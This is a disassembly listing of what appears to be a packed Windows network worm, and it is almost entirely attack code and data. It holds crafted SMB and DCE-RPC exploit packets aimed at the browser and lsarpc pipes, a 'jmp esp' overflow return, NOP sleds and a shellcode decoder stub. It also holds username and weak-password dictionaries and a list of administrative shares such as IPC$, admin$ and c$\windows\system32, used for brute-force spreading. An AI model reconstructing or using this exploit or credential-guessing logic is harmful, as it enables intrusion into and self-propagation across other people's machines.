CODE XREF: .packed:0041A8E1j inc edx jb short $+2 ; --------------------------------------------------------------------------- dw 0 dd 0C8531800h, 3 dup(0) dd 0FEFF0000h, 0 dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h dd 0 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 4 dd 0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h, 240043h, 3F3F0000h, 3F3F3Fh, 0 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dd offset loc_401495 dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0) dd offset loc_40A89A dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 2 dup(0) ; --------------------------------------------------------------------------- sub sp, 71Ch jmp esp ; --------------------------------------------------------------------------- align 4 dd 1004600h, 7515123Ch, 751C123Ch, 42B68ABAh, 42D01E50h dd 34000112h, 0 dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh dd 10h, 0 dd 34EEA51Bh, 0 dd 12400h, 0 dword_41AF50 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_410B52+62o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_41AFDC dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_410B52+A2o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_0: unicode 0, <Windows 2000 2195>,0 aWindows20005_1: unicode 0, <Windows 2000 5.0>,0 align 8 dword_41B088 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_410B52+E2o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_41B168 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+13Co dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_41B1A8 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+179o dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h, 0 dword_41B20C dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_410B52+1B9o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_41B2B0 dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+216o dd 3900800h, 3C1D0800h, 1C000010h, 0E0040003h, 0FFh, 2 dup(0) dd 1C004A00h, 2004A03h, 2600h, 5C032340h, 45504950h, 5005Ch dd 100300h, 31C0000h, 0 dd 3040000h, 0 dd 4221001Fh, 184E8h, 0 dd 10000h, 0 dd 1630000h, 0 dd 1630000h, 0 dword_41B338 dd 0 dd 0D7h, 1, 0 dd 1, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- align 4 dd 2 dup(0) dword_41B35C dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+348o dd 1C80800h, 7CC90800h, 80000010h, 0E0040004h, 0FFh, 2 dup(0) dd 80004A00h, 2004A04h, 2600h, 5C048740h, 45504950h, 5005Ch dd 100300h, 4800000h, 0 dd 4680000h, 0 dd 72B3001Fh, 1A381h, 0 dd 10000h, 0 dd 2150000h, 0 dd 2150000h, 0 dword_41B3E4 dd 0 dd 85h, 2, 0 dd 2, 2EBh, 85h, 2 dup(0) dword_41B408 dd 20804h, 0 ; sub_410B52+29Bo ... dword_41B410 dd 2080Ah, 0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 0FEFF0000h, 0 dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h dd 0 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_1: unicode 0, <Windows 2000 2195>,0 aWindows20005_2: unicode 0, <Windows 2000 5.0>,0 align 4 dd 0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 300800h, 5A00FF04h, 1000800h, 2F00h, 0 dd 3F3F0000h, 3F3F3Fh, 0 dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h, 0 dd 2019Fh, 4 dup(0) dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h, 720065h dd 0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 500800h, 48000010h, 0 dd 10h, 2 dup(0) dd 48005400h, 2005400h, 2600h, 5940h, 50005Ch, 500049h dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h dd 0 dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 align 10h jmp short loc_41B84A ; --------------------------------------------------------------------------- align 4 dd 767A1567h ; --------------------------------------------------------------------------- jmp short loc_41B852 ; --------------------------------------------------------------------------- loc_41B84A: ; CODE XREF: .packed:0041B840j nop nop db 67h adc eax, 8EB767Ah loc_41B852: ; CODE XREF: .packed:0041B848j nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 9090767Ah nop nop nop nop nop jmp short loc_41B8A1 ; --------------------------------------------------------------------------- db 2 dup(90h) db 48h dd 9088444Fh db 90h ; --------------------------------------------------------------------------- loc_41B8A1: ; CODE XREF: .packed:0041B897j nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- dd 0 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 db 8 dup(90h) ; --------------------------------------------------------------------------- jmp short loc_41B97E ; --------------------------------------------------------------------------- align 4 dd 767A1567h ; --------------------------------------------------------------------------- jmp short loc_41B986 ; --------------------------------------------------------------------------- loc_41B97E: ; CODE XREF: .packed:0041B974j nop nop db 67h adc eax, 8EB767Ah loc_41B986: ; CODE XREF: .packed:0041B97Cj nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop jns short near ptr word_41B9F6 add [ecx], eax jmp short loc_41B9C6 ; --------------------------------------------------------------------------- align 10h dd 767A1567h db 2 dup(90h) ; --------------------------------------------------------------------------- loc_41B9C6: ; CODE XREF: .packed:0041B9BCj nop nop nop nop nop jmp short loc_41B9D5 ; --------------------------------------------------------------------------- db 2 dup(90h) db 48h dd 9088444Fh db 90h ; --------------------------------------------------------------------------- loc_41B9D5: ; CODE XREF: .packed:0041B9CBj nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- dd 0 dd 7E0h, 4, 0 db 2 dup(0) word_41B9F6 dw 0 ; CODE XREF: .packed:0041B9B8j dd 0D0EC8166h, 7, 129F74h, 0 dd 127D78h, 0 ; --------------------------------------------------------------------------- pusha jmp short loc_41BA16 ; =============== S U B R O U T I N E ======================================= sub_41BA13 proc near ; CODE XREF: .packed:loc_41BA16p pop ebx push ebx retn sub_41BA13 endp ; --------------------------------------------------------------------------- loc_41BA16: ; CODE XREF: .packed:0041BA11j call sub_41BA13 xor eax, eax add al, 34h add eax, ebx push eax pop ebx loc_41BA23: ; CODE XREF: .packed:0041BA4Cj xor edx, edx add dl, [eax] inc eax add dh, [eax] inc eax push eax xor eax, eax add al, 41h sub dl, al sub dh, al shl dl, 4 shr dx, 4 xor eax, eax xor dh, dh add al, [ebx] sub [ebx], al add [ebx], dx inc ebx pop eax xor ecx, ecx add cl, [eax] loopne loc_41BA23 popa add [ebx+31h], al mov ebp, 7FC77h add [ecx], al inc ebx loc_41BA5A: ; CODE XREF: .packed:0041BA5Cj xor eax, eax ja short loc_41BA5A pop es ; --------------------------------------------------------------------------- db 0 dd 4F020100h, 7E7655Bh, 0 dd 195h, 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; --------------------------------------------------------------------------- mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 byte_41BB00 db 90h ; DATA XREF: sub_410F60+35r ; sub_410F60+73r ... dword_41BB01 dd 0 db 9Eh, 2 dup(0) dd 0F50000h, 0F8000000h, 0 dd 0F9h, 0FC00h, 1270000h, 2F000000h, 1, 137h, 13F00h dd 1400000h, 41000000h, 4, 842h, 24300h, 40450000h, 46000000h dd 10h, 2047h, 14800h, 4490000h, 4A000000h, 8, 24Bh, 404D00h dd 104E0000h, 4F000000h, 20h, 198h, 19F00h, 5910000h, 92000000h dd 9, 393h, 419500h, 11960000h, 97000000h, 21h, 999h, 0 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aComputer ; "computer" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOemuser ; "oemuser" dd offset aWwwadmin ; "wwwadmin" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" ; --------------------------------------------------------------------------- clc retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- adc ah, al inc ecx add al, dh retn ; --------------------------------------------------------------------------- inc ecx add ah, ch retn ; --------------------------------------------------------------------------- inc ecx add ah, ah retn ; --------------------------------------------------------------------------- inc ecx add al, ah retn ; --------------------------------------------------------------------------- inc ecx add al, bl retn ; --------------------------------------------------------------------------- inc ecx add al, dl retn ; --------------------------------------------------------------------------- inc ecx add al, cl retn ; --------------------------------------------------------------------------- inc ecx add al, al retn ; --------------------------------------------------------------------------- inc ecx add [eax-4FFFBE3Dh], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax-3Ch], al inc ecx add [eax-5FFFBE3Dh], ch retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8-3C73FFBFh], dl inc ecx add [eax-7FFFBE3Dh], cl retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8+41h], dh add [ebx+eax*8+41h], ch add [ebx+eax*8+41h], ah add [eax-3Dh], ah inc ecx add [ebx+eax*8+41h], bl add [ebx+eax*8+41h], dl add [eax-3Dh], dl inc ecx add [eax-3Dh], cl inc ecx add [eax-3Dh], al inc ecx add [eax], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax], dh retn ; --------------------------------------------------------------------------- inc ecx add [eax], ch retn ; --------------------------------------------------------------------------- inc ecx add [eax], ah retn ; --------------------------------------------------------------------------- inc ecx add [eax], bl retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8], dl inc ecx add [esp+eax*8+41h], dh add [eax], cl retn ; --------------------------------------------------------------------------- dw 41h dd offset aStudent ; "student" ; --------------------------------------------------------------------------- clc retn 41h ; --------------------------------------------------------------------------- dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 dd offset aC_0 ; "c$" dd offset aD ; "d$" ; --------------------------------------------------------------------------- fadd st(2), st inc ecx add al, dl retn 41h ; --------------------------------------------------------------------------- dd offset aDShared ; "d$\\shared" ; --------------------------------------------------------------------------- mov eax, 0AC0041C2h retn 41h ; --------------------------------------------------------------------------- mov al, ds:8C0041C2h retn 41h ; --------------------------------------------------------------------------- dd offset aCWindowsSystem ; "c$\\windows\\system32" ; --------------------------------------------------------------------------- push 600041C2h retn 41h ; --------------------------------------------------------------------------- xor dl, al inc ecx add [eax], ch retn 41h ; --------------------------------------------------------------------------- dd offset aIpc ; "IPC$" dd 0 dd offset byte_41DF10 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" ; --------------------------------------------------------------------------- aam 0C4h inc ecx add al, cl les eax, [ecx+0] rol ah, 41h add [eax-4BFFBE3Ch], bh les eax, [ecx+0] sbb al, 0C2h inc ecx add [eax], bl retn 41h ; --------------------------------------------------------------------------- adc al, 0C2h inc ecx add [eax], cl retn 41h ; --------------------------------------------------------------------------- cld rol dword ptr [ecx+0], 0F4h rol dword ptr [ecx+0], 0F0h rol dword ptr [ecx+0], 0E4h rol dword ptr [ecx+0], 0DCh rol dword ptr [ecx+0], 0D8h rol dword ptr [ecx+0], 0D4h rol dword ptr [ecx+0], 0D0h rol dword ptr [ecx+0], 0CCh rol dword ptr [ecx+0], 0C8h rol dword ptr [ecx+0], 0C0h rol dword ptr [ecx+0], 0B8h rol dword ptr [ecx+0], 0B0h rol dword ptr [ecx+0], 0A8h rol dword ptr [ecx+0], 9Ch rol dword ptr [ecx+0], 90h rol dword ptr [ecx+0], 84h rol dword ptr [ecx+0], 7Ch rol dword ptr [ecx+0], 70h rol dword ptr [ecx+0], 68h rol dword ptr [ecx+0], 60h rol dword ptr [ecx+0], 50h xchg eax, edx inc ecx add [eax-3Fh], bl inc ecx add [eax+44004198h], dl xchg eax, edx inc ecx add [eax-3Fh], dl inc ecx add [eax-3Fh], cl inc ecx add [eax-3Fh], al inc ecx add al, dl retn ; --------------------------------------------------------------------------- inc ecx add al, cl retn ; --------------------------------------------------------------------------- dw 41h dd offset aDemo ; "demo" dd offset aComputer ; "computer" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aNull ; "null" dd offset aTemp ; "temp" dd offset aTemp123 ; "temp123" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aSex ; "sex" dd offset aLetmein ; "letmein" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWwwadmin ; "wwwadmin" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" ; --------------------------------------------------------------------------- clc retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- adc ah, al inc ecx add al, dh retn ; --------------------------------------------------------------------------- inc ecx add ah, ch retn ; --------------------------------------------------------------------------- inc ecx add ah, ah retn ; --------------------------------------------------------------------------- inc ecx add al, ah retn ; --------------------------------------------------------------------------- inc ecx add al, bl retn ; --------------------------------------------------------------------------- inc ecx add al, al retn ; --------------------------------------------------------------------------- inc ecx add [eax-4FFFBE3Dh], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax-3Ch], al inc ecx add [eax-5FFFBE3Dh], ch retn ; --------------------------------------------------------------------------- inc ecx add [eax-40h], bh inc ecx add [eax+eax*8+41h], ch add [ebx+eax*8-3C73FFBFh], dl inc ecx add [eax-40h], ah inc ecx add [eax-40h], bl inc ecx add [eax-40h], dl inc ecx add [eax-40h], cl inc ecx add al, dh rol byte ptr [ecx+0], 88h retn ; --------------------------------------------------------------------------- inc ecx add [eax-40h], al inc ecx add [eax], bh rol byte ptr [ecx+0], 30h rol byte ptr [ecx+0], 28h rol byte ptr [ecx+0], 80h retn ; --------------------------------------------------------------------------- inc ecx add [eax+eax*8], bl inc ecx add [eax+eax*8], cl inc ecx add [ebx+eax*8+41h], dh add [ebx+eax*8+41h], ch add [eax+eax*8], al inc ecx add al, bh mov edi, 0BFE80041h inc ecx add [ebx+eax*8+41h], ah add ah, dl mov edi, 0BFD00041h inc ecx add ah, cl mov edi, 0BFC40041h inc ecx add [eax-3Dh], ah inc ecx add [ebx+eax*8+41h], bl add [eax-5BFFBE41h], dh mov edi, 0C3540041h inc ecx add [eax-3Dh], dl inc ecx add [eax-3Dh], cl inc ecx add [eax-3Dh], al inc ecx add [eax], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax], dh retn ; --------------------------------------------------------------------------- inc ecx add [eax-67FFBE41h], ah mov edi, 0BF940041h inc ecx add [eax], ch retn ; --------------------------------------------------------------------------- inc ecx add [eax], ah retn ; --------------------------------------------------------------------------- inc ecx add [edi+edi*4-407BFFBFh], cl inc ecx add [eax], bl retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8], dl inc ecx add [esp+eax*8+41h], dh add [eax], cl retn ; --------------------------------------------------------------------------- dw 41h dd offset aStudent ; "student" ; --------------------------------------------------------------------------- clc retn 41h ; --------------------------------------------------------------------------- dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 aWinpass db 'winpass',0 aBlank db 'blank',0 align 4 aXp_0 db 'xp',0 align 4 aNokia db 'nokia',0 align 10h aHp db 'hp',0 align 4 aOrainstall db 'orainstall',0 align 10h aSqlpassoainsta db 'sqlpassoainstall',0 align 4 aDb1234 db 'db1234',0 align 4 aDb2 db 'db2',0 aDb1 db 'db1',0 aDatabasepasswo db 'databasepassword',0 align 4 aDatabasepass db 'databasepass',0 align 4 aDbpassword db 'dbpassword',0 align 4 aDbpass db 'dbpass',0 align 4 aDomainpassword db 'domainpassword',0 align 4 aDomainpass db 'domainpass',0 align 4 aHello db 'hello',0 align 10h aHell db 'hell',0 align 4 aLove db 'love',0 align 10h aMoney db 'money',0 align 4 aSlut db 'slut',0 align 10h aBitch db 'bitch',0 align 4 aFuck db 'fuck',0 align 10h aExchange db 'exchange',0 align 4 aLoginpass db 'loginpass',0 align 4 aLogin db 'login',0 align 10h aQwe db 'qwe',0 ; DATA XREF: .packed:0041BE4Co aZxc db 'zxc',0 ; DATA XREF: .packed:0041BE48o aAsd db 'asd',0 ; DATA XREF: .packed:0041BE44o aQaz db 'qaz',0 ; DATA XREF: .packed:0041BE40o aWin2000 db 'win2000',0 ; DATA XREF: .packed:0041BE3Co aWinnt db 'winnt',0 ; DATA XREF: .packed:0041BE38o align 10h aWinxp db 'winxp',0 ; DATA XREF: .packed:0041BE34o align 4 aWin2k db 'win2k',0 ; DATA XREF: .packed:0041BE30o align 10h aWin98 db 'win98',0 ; DATA XREF: .packed:0041BE2Co align 4 aWindows db 'windows',0 ; DATA XREF: .packed:0041BE28o aOeminstall db 'oeminstall',0 ; DATA XREF: .packed:0041BE20o align 4 aOem db 'oem',0 ; DATA XREF: .packed:0041BE18o aAccounting db 'accounting',0 ; DATA XREF: .packed:0041BE08o align 4 aAccounts db 'accounts',0 ; DATA XREF: .packed:0041BE04o align 4 aLetmein db 'letmein',0 ; DATA XREF: .packed:0041BE00o aSex db 'sex',0 ; DATA XREF: .packed:0041BDFCo aOutlook db 'outlook',0 ; DATA XREF: .packed:0041BDECo aMail db 'mail',0 ; DATA XREF: .packed:0041BDE8o align 4 aQwerty db 'qwerty',0 ; DATA XREF: .packed:0041BDE4o align 4 aTemp123 db 'temp123',0 ; DATA XREF: .packed:0041BDE0o aTemp db 'temp',0 ; DATA XREF: .packed:0041BDDCo align 4 aNull db 'null',0 ; DATA XREF: .packed:0041BDD8o align 4 aDefault db 'default',0 ; DATA XREF: .packed:0041BDC8o aChangeme db 'changeme',0 ; DATA XREF: .packed:0041BDC4o align 4 aDemo db 'demo',0 ; DATA XREF: .packed:0041BDB4o align 10h aTest db 'test',0 align 4 a2005 db '2005',0 align 10h a2004 db '2004',0 align 4 a2001 db '2001',0 align 10h aSecret db 'secret',0 align 4 aPayday db 'payday',0 align 10h aDeadline db 'deadline',0 align 4 aWork db 'work',0 align 4 a1234567890 db '1234567890',0 align 10h a123456789 db '123456789',0 align 4 a12345678 db '12345678',0 align 4 a1234567 db '1234567',0 a123456 db '123456',0 align 4 a12345 db '12345',0 align 10h a1234 db '1234',0 align 4 a123 db '123',0 a12 db '12',0 align 10h a1: unicode 0, <1>,0 a007 db '007',0 aPwd db 'pwd',0 aPass db 'pass',0 align 4 aPass1234 db 'pass1234',0 align 10h aDba db 'dba',0 aPasswd db 'passwd',0 align 4 aPassword db 'password',0 ; DATA XREF: .packed:0041D848o align 4 aPassword1 db 'password1',0 align 4 aAbc db 'abc',0 aAb db 'ab',0 align 4 aA_1: unicode 0, <a>,0 aIpc db 'IPC$',0 ; DATA XREF: .packed:0041BD04o align 4 aPrint db 'print$',0 align 10h aCDocumentsAndS db 'C$\Documents and Settings\All Users\Documents\$',0 aAdmin_0 db 'admin$',0 align 4 aAdminSystem32 db 'Admin$\system32',0 aCWindowsSystem db 'c$\windows\system32',0 ; DATA XREF: .packed:0041BCF0o aCWinntSystem32 db 'c$\winnt\system32',0 align 10h aCWindows db 'c$\windows',0 align 4 aCWinnt db 'c$\winnt',0 align 4 aEShared db 'e$\shared',0 align 4 aDShared db 'd$\shared',0 ; DATA XREF: .packed:0041BCDCo align 